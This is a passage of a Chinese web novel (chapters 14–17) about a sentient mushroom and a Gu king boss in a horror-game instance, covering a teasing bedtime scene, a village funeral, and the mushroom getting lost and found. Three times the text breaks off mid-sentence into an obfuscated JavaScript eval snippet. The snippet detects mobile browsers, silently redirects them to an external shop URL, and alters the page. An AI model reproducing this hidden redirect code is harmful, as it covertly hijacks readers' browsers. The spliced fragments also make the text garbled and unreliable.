【那菇要这个!有人的味道!】 顾蘑菇回过身,抱住了身后那块蓝色的布料。 【菇今晚要抱着这个睡觉!】 做完这一切,顾蘑菇不忘观察符歇的神色。 【人不许生气哦?】 少年原本清冷苍白的脸,立刻又从脸颊红到了眼尾。 符歇轻轻咬唇,难以启齿: “这个不能给你。” 见人类要食言,蘑菇大王拉长杆杆抗议。 【为——什——蘑?】 14. 蘑菇想要 【为——什——蘑?】 符歇看着闹小脾气的蘑菇,一时间不知道怎么解释。 少年看也不看那块蓝色的布料,目光悬浮在蘑菇脑袋上方,就是不敢往下看。 “换一个好不好?” 顾蘑菇坐在那块布料上,踢着杆杆耍赖。 【不换不换!】 【菇不管!菇就要!】 他一边闹,一边还要往里面钻。 符歇沉默片刻,试图解释: “这个地方,不是放蘑菇的。” 至少不是放顾蘑菇的。 【那是放什蘑?】 【明明放菇刚刚好!】 顾蘑菇完全不相信,歪着脑袋怀疑。 【人,是不是有别的菇了?】 蘑菇的语言,符歇也听不懂。 见蘑菇就是不听话,少年将眼睛紧紧闭上。 再睁开时,忽然多了一分决绝。 他似乎下了很大的决心,一字一顿地说: “……你就非要知道,这块布是什么吗?” 【嗯嗯!】 顾蘑菇坚决地点了点蘑菇脑袋。 “那好吧。”符歇开口,“我让你看看。” 少年的皮肤很白,眼尾是红的,眸子却是一片致命的黑沉。 让人联想到苗疆最冷的潭水,最毒的蛊物,还有最深的夜晚。 看向无法无天的蘑菇时,却又带上了一点隐忍的火星。 他以修长的手指掀开衣角,随意撑着胳膊,单手就把上衣给揭了。 顾蘑菇终于看到了那片他曾经菇噜菇噜滚过的秘密领域,常年的劳作令少年的肌肉线条流畅而漂亮,就像是常年被流水淘洗过的玉石。 没有了上衣作掩盖,顾蘑菇总算看见了一小截熟悉的蓝色边缘。 【耶咦?】 不知道为什么,顾蘑菇伞伞颤了颤,忽然有点菌张。 总感觉,符歇看他的眼神,怎么看怎么不对劲。 这种看猎物的眼神,顾蘑菇只在山林中蟒蛇的竖瞳中看到过。 “看见了?” 符歇轻轻勾唇,挑起那块布料,以便顾蘑菇能够看个仔细。 再松开手指,布料重新弹回他的腹肌上。 少年眼神愈发森然,顾蘑菇下意识扭过脑袋,想往身后的布料里钻。 【菇困了!菇睡觉!】 还没彻底钻进去,蘑菇的杆杆便被拽住了。 符歇以挑起那块布料的力道,轻轻拉住了蘑菇的杆杆。 然后,一点,一点,把可怜的小蘑菇拖了出来。 “跑什么。”符歇轻轻开口,“不是你想看的吗?” 顾蘑菇被拉住杆杆,只能抬起脑袋,可怜巴巴地望着抓住他的人。 【菇看……看完了!】 “我满足你的愿望了,作为交换,你是不是也应该,满足我的愿望?” 符歇面无表情地看着顾蘑菇。 冰凉的指尖抚过蘑菇的杆杆,一点点深入,最终戳在了蘑菇的菌褶上。 出于趋利避害的本能,顾蘑菇摇了摇脑袋。 【菇不要!】 【菇没有答应过!】 “你看看,我什么都依着你,你却连我一点最基本的愿望都不愿意满足。” 符歇继续说着,手指绕着菌褶划动了一圈。 “小蘑菇,你说,我是不是应该难过?” 顾蘑菇被符歇这么一说,感觉自己真的像什么惊天大坏菇了。 他有些犹豫地停止了摇脑袋的动作。 但又不敢点头。 一人一菇就这样僵持住了。 符歇淡淡看着惊慌的蘑菇,忽然说:“不摇头的话,就当是答应我了。” 顾蘑菇:……好不讲道理的人?! 【岂有菇理?!】 山里来的顾蘑菇哪见过这么霸道的人,他当即愣在了原地。 这也给了符歇可乘之机。 “那我可就要说我的愿望了。” 【呜呜呜……】 顾蘑菇提心吊胆地听着。 蘑菇是很喜欢人,这是肯定的。 可如果人提出一些让蘑菇为难的要求,蘑菇又该怎么办呢? 要不,钻进土里,假装自己是一颗土豆? 或者把伞伞铺平,伪装成一片有点胖的叶子? 顾蘑菇有些埋怨自己最近营养太足了。 苦大仇深地,扯了扯厚厚的盖盖,思考撤退路线。 符歇似乎看穿了顾蘑菇的小心思。 压根不留给蘑菇任何逃跑的机会,他将蘑菇捧到了手里,移到眼前。 他盯着慌张的蘑菇,眼底带着淡淡的笑意。 “我的愿望,就是——” 【是什蘑?】 顾蘑菇僵硬地等待着人的审判。 “就是,我希望你玩得开心。”符歇却出其不意地说,“你还有什么愿望,我都会满足你。” 【人的愿望,就是这个?】 顾蘑菇没想到,担惊受怕半天,符歇就提出了一个这样的愿望。 难得使了坏后,少年促狭地看着蘑菇,翘起嘴角: “——你看,我这不是满足你了吗?” 明明可以直接说的好不好! 顾蘑菇在心里小小抱怨了一下。 虽然少年听不懂蘑菇的语言,顾蘑菇说出来和在心里抱怨并没有多大的区别。 但顾蘑菇还是很贴心地,只在心里抱怨了少年一句,不想让少年有任何伤心的可能。 抱怨了之后,顾蘑菇又有些感动,哼哼唧唧地抱住少年的手指。 “怎么,吓坏了?”符歇戳了戳顾蘑菇的杆杆,“以为我会欺负你?” 他着重咬了“欺负”两个字,故意逗弄顾蘑菇。 顾蘑菇拿杆杆轻轻踹了符歇一下,又继续抱着符歇的手指不放。 【呜呜呜……】 【人真好!】 【捉弄蘑菇的人也真好!】 捉弄完了蘑菇,符歇看向箱子里的布料,意有所指地问:“那这个,你还要吗?” 没想到,顾蘑菇居然犹豫了。 怎蘑办?还是好想要! 见顾蘑菇扭捏,符歇眼皮一跳。 ……大意了,忘了蘑菇并没有人类的羞耻心。 刚才能吓住顾蘑菇,完全靠的符歇本人精彩的演绎。 要是让顾蘑菇给【恐怖苗疆】的游玩项目评分: 苗疆的毒物——恐怖程度一颗星。 啄蘑菇的鸟——恐怖程度三颗星。 状态不明的符歇——恐怖程度五颗星! 至于符歇的裤头,呃……恐怖吗? 一点也不恐怖,蘑菇还挺想要。 这下子,骑虎难下的那个,倒成了符歇。 顾蘑菇坐在少年的手掌中,期待地看着少年。 【人答应过会满足蘑菇每一个愿望的!】 【不摇头的话,就当是答应蘑菇了哦。】 顾蘑菇摇头晃脑地,夸张地模仿蛊王刚才的样子。 哪怕他不会说话,符歇都能猜出他在演哪一段。 ……真是搬起石头砸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401839|200431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的脚。 “算了。”喉头滚动了一下,符歇艰难地说,“你喜欢就留着吧,不要,不要躺在它上面睡觉就好。” 这是符歇做人最低的底线了。 却不是顾蘑菇做蘑菇最低的底线。 为了照顾少年的小脾气,顾蘑菇还是勉为其难地答应了少年。 【好吧!】 【那蘑菇就把它放着!】 【纯欣赏!】 顾蘑菇觉得是自己包容了符歇,乐滋滋地回了窝。 他自菇自地觉得,在饲养人类方面,蘑菇真是用了好多好多心! 养成一个属于蘑菇自己的人类,真是不容易。 既要给人类打猎,喂人类吃饱饱,哄人类开心。 又要照顾人类奇怪的羞耻心,遵守人类定下的规矩。 还要培养人类的蘑菇感,不让人类患得患失。 看来看去,不得不夸奖一句: 蘑菇大王——全能! 顾蘑菇卸下金叶子披风,把它挂在了一根树枝的小刺。 他躺回了他最喜欢的那片八角金盘上。 盖上一片被他睡梦中踢得皱巴巴的叶子被子。 “好好睡一觉,明天陪你出去玩。” 符歇也和顾蘑菇道了晚安,吹熄了小楼内的油灯。 【人,晚安!】 顾蘑菇摊开伞伞,躺在属于蘑菇的小床。 本来应该是入睡的时候了。 可回想今日率领毒物、征战巨鸟的场景,荣誉感充满了蘑菇的周身。 【不行!】 【菇睡不着!】 三更半夜,顾蘑菇从叶子上一个鲤鱼打挺,坐了起来,热血沸腾。 那个玩家说的话,顾蘑菇也听到了。 明天可能就是蘑菇的最后一天。 想到这里,顾蘑菇忽然安静下来。 他明天要做什么好呢? 【嗯嗯嗯嗯……】 前几天已经玩得够多了,绝对不能再贪玩! 明天要早起!要自律!要做有意义的事! ——虽然顾蘑菇每天睡前都是这蘑想的。 那……再去给人类打个猎? 这样,至少三天之内,人不会被饿死了。 不行不行,这样也不算很有意义! 要特别有意义才行! 要让人能一直一直一直一直记得蘑菇的那种。 要等到山里所有的河流都枯竭,石头都腐烂,米粒全都被大鸟吃完,人还是觉得顾蘑菇最好! 要不……为这片土地做些什么? 原先顾蘑菇看苗疆,怎么看怎么好。 可是今天晚上仔细一想,哪里都有问题。 石头太多了,人走路踩到可能会滑倒。 顾蘑菇想象中的符歇:(踩到石头)啊哦! 路也不够平,下雨天还会积水洼。 顾蘑菇想象中的符歇:(掉进水洼)啪叽! 还有那些毒物,人不在的时候,它们就会打来打去。 顾蘑菇想象中的符歇:(慌张阻止)你们不要再打啦! “怎么还不睡?” 黑暗里听见蘑菇一直翻来覆去的声音,符歇忍不住起身查看。 少年走到竹箱旁边,借着月色,看清了箱子里蘑菇的身影。 顾蘑菇撑着杆杆,再次披上了那片黄色的叶子。 他黄袍加身,缓缓站起来,沧桑地抬起脑袋,举头望明月。 顾蘑菇以无人能懂的蘑菇语言说道: 【苗疆局势,令蘑菇夜不能寐!】 15. 胖胖蘑菇 举头望明月,低头思苗疆! 蘑菇披着黄色的叶子,直挺挺站在皎洁的月光下,居然有几分壮烈的凄美。 符歇伸手想要触碰蘑菇,又犹豫地悬在半空中。 他纠结地开口:“……你没事吧?” 顾蘑菇缓缓低下头,总算看向了无助的少年。 【人!菇没事!】 【是苗疆有事!】 苗疆群众的事,就是蘑菇的事! 符歇犹豫着建议:“要不还是,先睡觉?” 顾蘑菇猛烈地摇头。 【嗯嗯嗯嗯——不要!】 符歇劝不动顾蘑菇,更无助了。 今夜的顾蘑菇身上散发着神性的光辉,令人无法直视。 这朵蘑菇离人很远了,离神更近些。 看着蘑菇沧桑的姿态,符歇沉默三秒,一拍脑门。 他转过身,喃喃自语地说:“我真的该去睡觉了。” 不然怎么会看到一朵老干部风味的蘑菇呢? 少年回到自己的床上,盖上被子入眠。 迷迷糊糊睡梦间,他甚至疑心自己听到了顾蘑菇叹气的声音。 《恐怖苗疆》副本开启的第七天。 今天的蛊王,一如既往地冷着脸。 手里捏着他那朵已完全黑化的、黑化肥会发黑的蘑菇。 在蛊王的悉心照料下,这个轮回的顾蘑菇营养更好了,长得圆嘟嘟的,特别可爱。 嗯……也有顾蘑菇晚上喜欢爬起来偷吃叶子的缘故。 符歇轻轻捏着蘑菇,掂量了一下。 “是不是最近吃得太多了,我总感觉你,和前几个轮回比,有些……胖了。”他随口说。 不料,这简简单单一个猜测,却招来了顾蘑菇无比激烈的反应。 【人说什蘑?!!!!!】 顾蘑菇仿佛被雷劈中,直直地呆住了。 【菇,胖了?!!!】 见顾蘑菇呆滞,符歇虽然不知道原因,但也意识到了自己可能是说错话了。 少年心虚地摸摸鼻子,观察着蘑菇的反应,小心翼翼地说:“可能……也没有?” 顾蘑菇还是呆呆的,不动弹。 符歇更心虚了:“要不,你就当我没说过。” 顾蘑菇更生气了,整只蘑菇都在抖。 【那人就是这么想,不说出来的意思?!!】 符歇闭上眼睛,破罐子破摔:“别生气了,要不你也咬我一口吧。” ——就像是小狗蘑菇生气时咬阿婆那样。 【菇是什么很不讲菇理的菇吗?】 【胖了就胖了,菇一点都不气,一点都不!】 顾蘑菇拉长杆杆喊,喊完就郁闷地缩成了一团。 任符歇怎么喊,怎么哄,都不愿意抬起脑袋。 符歇认真解释:“蘑菇胖胖的好看,还更健康。” 顾蘑菇扭到一边。 符歇又换了个角度:“其实你也没胖,是我看错了。” 顾蘑菇摆动杆杆,一点点挪到另一边。 符歇手足无措,试图转移话题: “你还吃叶子吗?我去给你摘。” 顾蘑菇气呼呼地摇脑袋。 【不吃了!】 【再吃就成大胖菇了!】 【会被山里的野狼叼走的!】 玩家从居住的小楼里走出来,看到的就是这样的一幅画面。 年轻的蛊王站在门口,一只手托着蘑菇,另一只手尴尬地搓着衣角,都不知道该往哪里放了。 少年时不时想到新的哄蘑菇的话,就垂下头和蘑菇说些什么。 没有得到回应,又沮丧地抬起头,像是个碰了一鼻子灰的愣头青。 看到玩家,符歇轻咳一声,又变成了平时那副生人勿进的样子。 “昨夜,又死人了。” 少年目光淡然地扫过剩下的残兵败将。 对于死亡,他已然习以为常。 原本进副本时十个人的队伍,此刻只剩下了带队的女人、圆脸女孩,还有那个其貌不扬的中年男人。 “是。”女人断了一只胳膊,用从游戏商城兑换出的绷带作了简单的包扎,“昨夜参加完吃牯脏的宴席,回来的路上,遇上了成群的狼和狈,我们都付出了一点代价。” 符歇的视线扫过三人,女人说得很平静,实则三个人都受了要了半条命的伤。 对视时,中年男人忽然站了出来,情绪激动地对符歇哭喊:“求你了!放过我们吧!我们真的很想要活着出去!” “大叔,你别这样。”女人搀扶住想要下跪的中年男,咬了咬牙,也对符歇说,“小哥,我们会努力活下去,也请你……高抬贵手。” 而圆脸女孩始终在一旁安静地看着,就仿佛这一切都与她无关。 面对玩家的惧怕和指责,符歇听见了也像是没听见。 苗疆的危险天然存在,和符歇并无关联。 他只是没有出手相助,从来没有迫害过任何玩家,问心无愧。 “今日,你们的任务是,收下大山的礼物,自行离开苗疆。” 符歇以冷淡的目光扫过玩家。 说话间,他下意识捏了捏蘑菇软乎乎的杆杆。 意料之内的手感不错。 符歇垂下眼,难得多说了一句: “记住我一开始就说过的话,踏入苗疆,生死自负。敬畏自然和生命,除了你们自己,没有人能对你们的存亡负责。” 顾蘑菇气呼呼地抽出杆杆,踹了一下符歇乱捏的拇指。 【不许捏!】 【菇还在生气呢!】 生气的蘑菇也很可爱。 符歇忍不住偷偷翘起一点嘴角。 “——你除外。” 回忆起关于蘑菇的约定,符歇又对着一直没说话的圆脸女孩开口。 “你的命,由我为你买单。” “谢谢您信守承诺。” 圆脸女孩说完,隐晦而好奇地打量了一眼boss手中的蘑菇。 触及到符歇警告的眼神,她迅速收回了目光。 “好了,你们走吧。” 符歇不愿在玩家身上浪费时间,说完就赶客。 三个玩家转过身,准备离开寨子。 忽然,寨子里传来三声嘹亮的号角声。 符歇一怔,脸色忽然变得极差。 捏着顾蘑菇,转身就往声源处走。 只留下玩家看着他的背影,不明所以。 号角是滕阿婆的儿子田大哥吹响的。 每当号角吹响,寨子中都有大事发生。 ——除却生死无大事。 顾蘑菇被符歇抓在手里,带进了一个宽阔的中堂。 【怎蘑了?】 蘑菇试图向人提问,可是符歇却无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401840|200431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暇顾及。 顾蘑菇只能自己观察情况。 中堂里,几乎聚集了苗寨所有的山民。 顾蘑菇认识的,不认识的,都有。 【好多人?】 他们在这里做什么呢? 顾蘑菇左顾右盼,拉长杆杆,想听清楚人类的对话。 符歇快步走到田大哥面前,肃着脸问:“是谁出了事?” “我阿妈……死了。”田大哥红着眼眶,回应道,“昨晚睡过去,今天早上就没再醒来。” 猜测落实,符歇骤然变得悲伤。 他艰难开口:“滕阿婆她……你,节哀。” 【死?】 顾蘑菇听到了一个熟悉的字眼。 “死”,顾蘑菇还是知道的,上次在玩家那边遇到过。 “死”是一种特别吓人的野兽,就连符歇那么厉害的人,都要和它打很久的架,才能把它打败。 那个被蘑菇咬过的、老老的人,也非常勇敢地去和“死”打架了吗? ……是打输了吗? 不然,为什么这些人都在哭呢。 顾蘑菇弄不明白。 他只知道符歇现在很不开心。 虽然少年嘴上从来不说,脸上也没有表情。 但那种悲伤从他冰凉的指尖漫延出来,几乎要把整朵蘑菇都浸透。 【人!你没事吧?】 顾蘑菇顾不上生气了,用杆杆抚摸少年的手指。 符歇只是低头看了顾蘑菇一眼,或许是不想被蘑菇看到这个样子,他无力地把蘑菇放回了口袋里。 【唔?!】 骤然被丢进黑暗中,顾蘑菇在口袋里挣扎了一下。 【人,到底怎蘑了?】 他奋力蹬着杆杆,想要往外爬,去查看符歇的情况。 就在这时,符歇忽然往门外走去,警惕地对着什么人开口。 “你们怎么来了?” 少年像是一头被惹怒的野兽,声音从未有过的冷: “你们要干什么?这里不是你们该来的地方,赶紧离开。” “不,小哥,我们不会离开。”蘑菇听见了那个中年男玩家的声音,恐惧中夹杂着坚定,“我们认为,这里肯定有隐藏任务。” 尖锐的哀乐声,山民的哭声,和符歇压抑的警告声混杂在一起。 “……这里没有什么任务,赶快离开。”符歇含着怒气开口,“现在,我没有心情管你们,还有游戏的那些破事。” 女人也冷静地说:“我们不可能走,除非你杀了我们——这次游戏我们损失了太多道具了,我们必须得到隐藏奖励才能回本。” 感受到符歇身上越来越低的气压,顾蘑菇连忙更加卖力地蹬杆杆,总算爬到了口袋的边缘。 蘑菇知道,人此刻真的很难过。 【不可以!】 不可以欺负他那么好的人! 不可以让这些玩家,再打扰苗疆的人们! 顾蘑菇憋足一口气,牢记着符歇教他的法子,鼓成了一个球形。 他用尽全身力气,把那口气吐了出来。 女人和中年男闻到一股奇异的香味,心神被蛊惑住。 目光不受控制地,看向符歇的口袋。 【菇!!!噜!!!菇!!!噜!!!】 顾蘑菇从符歇的口袋里跳出来,吸引着玩家的视线,毅然决然地滚下了山坡。 16.菇不见了 【菇!!!噜!!!菇!!!噜!!!】 顾蘑菇用蘑菇语大喊着。 他跳出符歇的口袋,一路滚下了山坡。 蘑菇小小的,吐出的气也少少的,影响的范围十分有限。 符歇是万毒蛊王,又朝夕和蘑菇相处。 他并没有那么容易被蘑菇蛊惑。 只有离得最近的玩家们受了波及,迈开脚步随着顾蘑菇而去。 “那朵蘑菇肯定是稀有道具!” “快追!别让他跑了!” 山坡上,一只肉嘟嘟的蘑菇飞速翻滚着。 身后还跟着两个神色痴迷的人类。 符歇见顾蘑菇滚远,当即沉下了神色。 一瞬间,苗疆风云巨变,雷声大作,整片天空都变得暗沉。 “吁——” 少年一边毫不犹豫地往外飞跑,一边从腰间的袋子里拿出一只骨哨,搭在唇上吹响。 在他跨出下一步的同时,脚下的土地崩裂,应声钻出了一头足足有两米宽的、黑金色的蟒蛇。 符歇熟稔地径直踩到了巨蟒的背上。 再一吹骨哨,巨蟒昂扬起脑袋,向着蘑菇滚走的方向,飞速追去。 巨蟒轻松追赶上了两个跑步的玩家。 在主人的授意下,越过两人时,顺便一人抽了一尾巴,直接把两个玩家抽晕了过去。 符歇头也不回,低声呵道:“先找蘑菇,别管他们俩。” 巨蟒发出了“嘶嘶”的应和声,继续向前追寻蘑菇的香气。 【菇噜菇噜菇噜……】 顾蘑菇滚下土坡,滚过了小溪,从树根的缝隙里穿过。 等到终于被一块石头拦住,他自己也不知道自己滚到了哪里。 【完噜!】 【菇不见了!】 周围都是完全陌生的景色,顾蘑菇后知后觉地开始感到害怕。 更悲催的是,顾蘑菇一抽杆杆,发现动不了了。 原来是蘑菇的盖盖太厚,被石头卡住了。 【怎蘑办?!】 【救救蘑菇,菇想回家!】 顾蘑菇很是不安。 他不会成为第一朵被石头卡住的蘑菇吧? 此时此刻,顾蘑菇特别想念他温柔的好人。 【人,你在哪里——】 【蘑菇需要你!】 “……该死。” 蘑菇曾经滚过的小溪前,符歇低声咒道。 蘑菇的味道被水流冲淡了,巨蟒停在了溪流前,一时间符歇失去了顾蘑菇的踪迹。 少年咬了咬牙,强迫自己保持冷静。 这一块都是没有起伏的平地,顾蘑菇应该滚不了太远。 可难就难在,蘑菇太小了。 哪怕知道蘑菇就在附近,以蘑菇的大小,混杂在一堆树叶中,也没那么容易辨认出来。 符歇越是想,越是心慌,甚至高声喊了一句: “蘑菇,你在哪里?” 【人!菇在这!】 顾蘑菇听见了符歇的呼唤,高兴地回应。 【菇!在!这!里!】 【快!来!救!菇!】 可是符歇听不见。 符歇听不见蘑菇的回应。 意识到这一点后,少年周身的戾气更重了。 他一言不发地搜寻着,又催动方圆数里内的毒物帮忙寻找。 同一时间,毒物们收到了同一条清晰的命令—— “找到蘑菇,把他带回我身边。” 于是,毒物倾巢而出,漫山遍野。 苗疆的天色更差了,电闪雷鸣,乌云压顶,有随时落雨的征兆。 顾蘑菇卡在一块不起眼的石头下,身上沾着的水掩盖了气味,就连毒物们都忽略了他。 【蛇!菇在这里!】 【蝎子!菇在这里!】 【菇在这里!菇在这里!菇在这里!】 顾蘑菇一开始还很兴奋地期待获救。 意识到毒物们屡次经过却忽略了他以后,他慢慢地也变得萎靡不振。 早知道不吃那么多叶子了!讨厌! 顾蘑菇趴在了泥土里,委屈地抱紧了杆杆。 “没有?你们呢,也没有看到蘑菇?” 得到毒物否定的答案,四处都找不到蘑菇,符歇挫败地叹了一口气。 少年垂下眼,叹道:“……如果你会说话就好了。” 滕阿婆的离世对于他来说,本来就是一个不小的打击。 就在这个节骨眼上,蘑菇还不见了。 那可是——他的蘑菇。 一向无所不能的少年蛊王,神情中多了几分无助。 他孤单地站在山林中,失去了一朵蘑菇,就仿佛被全世界抛弃。 少年不能失去他的蘑菇。 如果能换回蘑菇,他做什么都愿意。 “咕呱,咕呱!” 一只扁扁的蟾蜍忽然跳到了符歇的面前。 “你找到他了?”符歇抬眼,急忙追问。 “咕呱咕呱咕呱!” 蟾蜍蹦蹦跳跳地带路。 符歇立刻追随而去。 绕过几棵枝繁叶茂的大树,蟾蜍停在了那颗石头前。 “咕呱咕呱!”蟾蜍对着石头叫个不停。 少年小心翼翼地俯身查看,既激动又怕期望落空。 石头下面被压着的,委屈地抱着杆杆的。 不是顾蘑菇,还能是谁? ——也只有扁扁的蟾蜍可以看到。 一阵狂喜骤然涌上少年的心头,符歇掀开石头,猛然把顾蘑菇攥进手中。 “蘑菇!”符歇罕见失态。 【人!就知道你会来救菇的!】 顾蘑菇也被吓坏了,不停地蹭着符歇的手指。 少年握着他失而复得的蘑菇,语无伦次地说: “总算找到你了……我还以为……还以为……” 还以为,就要这么失去你了。 不知道想到了什么,少年的手掌骤然收紧。 顾蘑菇忽然一下,被紧紧捏住。 【呜呜呜?】 符歇没有再说话,他静静地垂着头,以额头抵着顾蘑菇的小脑袋。 等到少年再仰起脸,恰逢一道闪电亮起,照亮了他哀伤的神情。 虽然只是一瞬间,蘑菇也没有错过。 【人!你怎蘑样?】 “我没事。”符歇保持着克制,垂着眸轻声说,“我一切都好。” 【……咦?】 【你是不是眼睛下雨了?】 顾蘑菇总觉得,少年的眼睛水汪汪的。 “没有。” 面对疑惑的蘑菇,符歇果断否认。 就在这时。 轰隆隆—— 雷声响起,雨点落下。 先是一滴两滴,然后是大雨倾盆。 有冰凉的水珠滴落,顾蘑菇懵懵懂懂地抬起脑袋。 少年没有哭,是苗疆的天哭了。 暴雨之中,少年沉着地走着。 他用袖子遮住小小的蘑菇,为蘑菇遮风挡雨。 无论外头的雨有多大,符歇都不会让蘑菇淋到分毫。 【人,最好!最最好!】 顾蘑菇扒着符歇的手指,学着符歇的样子,尽最大力气把蘑菇盖盖张开,为符歇遮挡去可能落在手上的水珠。 符歇并没有忽略顾蘑菇小小的努力。 他捧场地夸奖:“真厉害。” 【嘿嘿嘿,有那么厉害嘛?】 顾蘑菇不好意思地用杆杆挠了挠脑袋。 看着骄傲得快要把杆杆翘到天上的蘑菇,符歇忍俊不禁。 刚翘起唇角,那抹笑意很快又消失。 “你要是会说话就好了…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404674|200431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 回想起这个念头,符歇有些焦躁。 少年不想再找不到他的蘑菇。 这样的事情,他无法忍受第二遍。 踏上通向寨子的小路上,符歇和顾蘑菇迎面遇上了两个熟悉的人影。 正是刚才在灵堂闹事、被巨蟒的尾巴抽晕过去的女人和中年男人。 至于圆脸女孩,应该是见好就收,早就逃离苗疆了。 “醒了?” 符歇勾唇,眼中却不见丝毫笑意,冷冷发问。 见识过蛊王的真正实力后,两个玩家齐齐打了个冷战。 他们原先仗着符歇从未对玩家动过手,评估了风险之后,才决定在太岁头上动土,自以为机智地留下来寻找什么隐藏奖励。 谁能想到,符歇从始至终,不是不能杀他们,只是单纯不愿意管他们。 “小,小哥,我们错了,我们真的错了。”中年男膝盖碰地,毫不犹豫地开始磕头,“对不起小哥!我们也是被游戏逼急了!我们真的是没办法了!我不想死啊!” 这一次,女人没有再阻拦他下跪磕头。 而是沉默地站在一旁,隐隐面露难堪之色。 事到如今,也只能要杀要剐,悉听尊便。 符歇活动了一下手腕,不耐烦地开口: “我就说,我最讨厌你们这群玩家了。” 他不动声色地遮住了顾蘑菇的视线。 一边往前走,一边招来蛇蝎,将二人悄无声息地包围。 那位【恐怖苗疆】的守关boss、万毒蛊王面无表情地陈述: “枉费我一次次地将你们当做客人招待,你们却从来不懂得感恩。” 少了一只胳膊的女人闻言,抬起那双坚毅的眼,冷不丁接话。 她不甘地反驳:“呵,‘客人’?说是客人,你们这些boss,真的有把我们当过人看待过吗?” 她同样愤愤不平,历数经历过的这么多个副本,哪个副本里的boss不是把他们玩家当做蝼蚁一样戏耍虐杀?! 这样苟延残喘的日子,她也过够了! 顾蘑菇听了,立刻炸成了圆圆的球。 【讨!厌!】 这群忘恩负义的家伙。 就连蘑菇都知道要感恩呢! 面对这劈头盖脸、不留情面的指责,符歇的脸色没有任何变化。 他浑不在意地反问,只用一句话,就回敬了玩家的不甘。 “那你们呢?”符歇冷静道,“你们有把我们当人看待过么?” ——你们在心安理得地接受苗寨安排的住宿,连一句基本的谢谢都不会说的时候,有把我们当人看待么? ——你们在苗疆自大地探索,屡次陷入险境才拉下脸来寻求帮助的时候,有把我们当人看待么? ——你们在闯进寨民的葬礼,只为了寻找你们的隐藏奖励的时候,有把我们当人看待么? 【就是就是!】 【就知道欺负好人!】 顾蘑菇义愤填膺地用蘑菇语附和。 没有想到boss会问出一个这样的问题,女人神色有一瞬间茫然。 “你,那你杀了我们吧。” 过了半天,女人憋出一句话。 还能怎么办呢?事情都已经变成这样了。 “好了,我不想和你们说废话。”符歇厌恶地蹙眉,“你们的命,对我来说也毫无价值。” 怕再说下去污染了小蘑菇的耳朵,符歇单刀直入,直奔主题。 衣着古朴的少年口中,忽然蹦出一个无比现代的词汇: “我不要你们的命,我要你们打开那扇通往游戏商城的门。” 女人脸上血色尽失,惊慌问:“你到底想干什么?你要去抢什么东西?!” “抢?”少年讽刺地笑了一声,“我只是要,去把我们苗疆的圣物——八宝铜铃,理所当然地取回来。” 17.蘑菇脐橙 听了符歇的话,顾蘑菇好奇地歪了歪脑袋。 【——哦咦?】 【什蘑是巴巴咚灵?】 “八宝铜铃?!”女人眉头皱得死紧,“这是什么东西,我从来……没有在商城里看到过。” 中年男脸色苍白,抹了一把汗,结结巴巴地说:“可能,可能是我们的等级还不够,所以没有权限。” 果然,蛊王的下一句话,也印证了他们的猜测。 “八宝铜铃是什么,你们还没有过问的资格。” 符歇一边说,一边走到玩家面前。 那双深黑的瞳孔微微收缩,居高临下地看去,牢牢锁在两个玩家身上。 “我,会跟着你们。” 他微微扬起下巴,神情冷漠。 “你们只需要在踏出苗疆的那一刻,立刻开启商城的门,其他的事情,不用你们管。” “什么叫不用我们管?”感受到危险的气息,女人下意识想拒绝,“万一牵连到我们怎么办?!” 符歇懒得废话,慵懒地偏头,朝着后方招了招手。 原本盘踞在他身后的巨蟒收到指令,立刻扬起脑袋,乖顺地爬到了符歇的身侧。 张开血盆大口,冲着两个玩家,吐出鲜红的舌。 “说什么呢。”符歇抬起眼,冷冷征询,“你现在就不想活了吗?” 话语间,没有一丝一毫开玩笑的意思。 女人哑了火,明智地选择了保持沉默。 她垂下头,不知道是放弃抵抗了,还是在谋划着什么。 符歇并不在意古怪的气氛,他微微抬起下巴,蟒蛇便游走过去,停在了玩家的面前。 等到玩家艰难地尝试了好几次,才爬到了蛇的背上以后。 符歇才捏着蘑菇,等待巨蟒主动低下脑袋,施施然站上了巨蟒的头顶。 巨蟒沿着山间的小道,飞速穿过山林。 被它驮着的三人心思各异。 只有顾蘑菇很开心。 【好耶!】 【蘑菇骑蟒蛇!】 太威风了!!! 每到一个路口,顾蘑菇都会提前摆动杆杆指路。 假装是自己在指挥蟒蛇的运行轨迹。 忽然,蘑菇脑袋顶上传来符歇的声音。 “你最喜欢骑的,是什么?”符歇随口问,“蟒蛇,还是蝎子。” 顾蘑菇抬起杆杆,毫不犹豫,坚定地指向了一个方向。 “我?” 被蘑菇的杆杆指着,符歇有片刻错愕。 【嗯嗯!】 顾蘑菇坚定地点了点脑袋。 【人!】 【蘑菇最喜欢骑在人身上!】 “你喜欢……骑在我身上?” 